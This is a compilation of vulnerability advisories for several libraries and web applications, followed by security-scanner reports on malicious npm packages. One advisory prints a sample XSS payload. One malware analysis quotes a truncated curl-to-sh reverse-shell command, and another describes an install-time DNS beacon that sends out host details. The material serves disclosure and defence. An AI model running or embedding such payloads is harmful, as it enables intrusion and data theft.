temporalio/sqlparser can panic when Parse, ParseStrictDDL, or ParseNext processes a MySQL version comment whose contents are empty or consist only of one to five decimal digits. ExtractMysqlComment does not check the -1 result returned by strings.IndexFunc before using it as a slice boundary. The resulting Go runtime panic propagates unless the caller recovers it on the parsing goroutine, so applications that parse attacker-controlled SQL can terminate. Temporal Server exposes the affected parser through ListWorkers. When that API is enabled, an authenticated caller with namespace read permission can submit a malformed query that terminates the receiving Matching process. Repeated requests can sustain a denial of service. The issue affects availability only; no confidentiality or integrity impact was identified.
A flaw has been found in WuzhiCMS up to 4.1.0. This affects an unknown function of the file /index.php?m=member&v=Login of the component Login. This manipulation of the argument forward causes open redirect. The attack can be initiated remotely. The exploit has been published and may be used. The only sanitization is remove_xss(), an XSS keyword/entity scrubber. The vendor was contacted early about this disclosure but did not respond in any way.
CuteNews version 2.1.2 contains a Cross Site Scripting (XSS) vulnerability in the index.php file. The vulnerability arises because the Referer HTTP header value is reflected into the HTML response without proper escaping during POST requests. This flaw can lead to partial compromise of confidentiality, integrity, and availability under certain conditions.
Cross-site Scripting (XSS) in index.php in CuteNews v.2.1.2 allows remote unauthenticated attackers to supply an arbitrarily named URL parameter key, with part of its name containing any URL-encoded common XSS payload (such as "><script>alert(1)</script>).
A flaw has been found in itsourcecode Leave Management System 1.0. This affects an unknown part of the file /module/department/index.php. This manipulation of the argument ID causes sql injection. It is possible to initiate the attack remotely. The exploit has been published and may be used.
GitPython version 3.1.59 contains a vulnerability (CVE-2026-87817) where the library incorrectly resolves the git directory path by testing certain tracked files before the actual .git directory. This allows an attacker controlling a repository to craft files that impersonate the git directory, causing GitPython to treat attacker-controlled content as internal git data, including executable hooks. This leads to arbitrary code execution when the victim performs a commit via GitPython's index.commit() method. Additional impacts include unauthorized reading of files outside the repository and writing config files to attacker-chosen locations. The vulnerability affects services that open or clone untrusted repositories using GitPython. A patch is available to correct the directory resolution order and improve validation.
vLLM through 0.29.0 fails to properly validate bad_words token indices against the model's generation output width in SamplingParams.update_from_tokenizer(). Attackers can supply out-of-bounds token indices that corrupt logits memory of concurrent requests, causing different in-flight HTTP requests to return incorrect tokens.
This vulnerability involves the mt76 wireless driver component, specifically the mt7996 chipset, where the RX band index is not properly validated before dereferencing the phys[] array. This could potentially lead to out-of-bounds memory access or other unintended behavior. The affected software versions are exactly 3.0 and 4.0. No CVSS score or detailed impact information is provided, and there are no known exploits in the wild at this time.
This entry references a vulnerability identified as CVE-2026-93188 related to HID roccat device profile indexing. The provided information is minimal and does not include technical details about the nature of the vulnerability, its impact, or exploitation methods. The affected versions are specified as 3.0 and 4.0. No CVSS score or detailed impact description is available.
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (a659995af42be0d4f8360b45a37295eab4d68f513c6b3aa49903b3028e0567f5)
The package's `install` lifecycle script runs `node index.js`, which loads `lib/core.js`. On install, that module collects `os.userInfo().username`, `os.hostname()`, and the basename of the current working directory, then issues a `dns.resolve4` for a subdomain composed of those values under the hardcoded external domain `oob.algamil7x.xyz`. Module loads and the destination hostname are hex-array obfuscated: `lib/g7h8i9.js` uses `module.constructor._load` with hex-decoded strings to require `os`, `dns`, and `process`, and `lib/h8i9j0.js` stores the destination as hex arrays that decode to `oob.algamil7x.xyz`. The package name typosquats a legitimate ad-tech scope, and no functionality matching that stated purpose is present — the install-time DNS beacon is the package's only observable behavior.
## Source: ghsa-malware (87660ea8b14f898cd7e26e1dcd6e3440a8a283ad0cb6e90a97b153146803a122)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9)
index.js line 5 invokes child_process.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script into sh to open a reverse shell to the hardcoded attacker endpoint 10.0.16.19:443. The exported function is on the main module load path, so any consumer that invokes it hands full interactive shell access on the installer's host to whoever controls that endpoint. package.json also declares a self-referential dependency on internallib_v949 ^1.0.0, matching the dependency-confusion pattern in which an internal package name is squatted on the public npm registry to intercept internal builds. The package name pattern (an unusual '_v949' suffix on a generic 'internallib' base) is consistent with a targeted internal-name squat rather than a legitimate library.
## Source: ghsa-malware (56b1dae4951f7ccdf0525a1e36a72191f18339c2101dda0b06482ee0efd70b46)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
FluidSynth versions from 2.2.4 up to but not including 2.5.6 have a vulnerability where configuring synth.midi-channels above 16 causes out-of-bounds memory access in the MIDI player. This occurs because the player indexes outside the fixed-size heap allocation for tracking active channels, leading to undefined behavior that can compromise confidentiality, integrity, and availability. The issue is triggered by configuration alone, without requiring a crafted MIDI file. The vulnerability is fixed in version 2.5.6.
vLLM through 0.29.0 contains a memory corruption vulnerability in the Triton _bincount_kernel where prompt token IDs index the penalty prompt-presence bitset without bounds checking against vocabulary size. Attackers can submit multimodal audio requests with tokens equal to vocabulary size, causing out-of-bounds writes that corrupt concurrent requests' sampler state and alter repetition penalty behavior.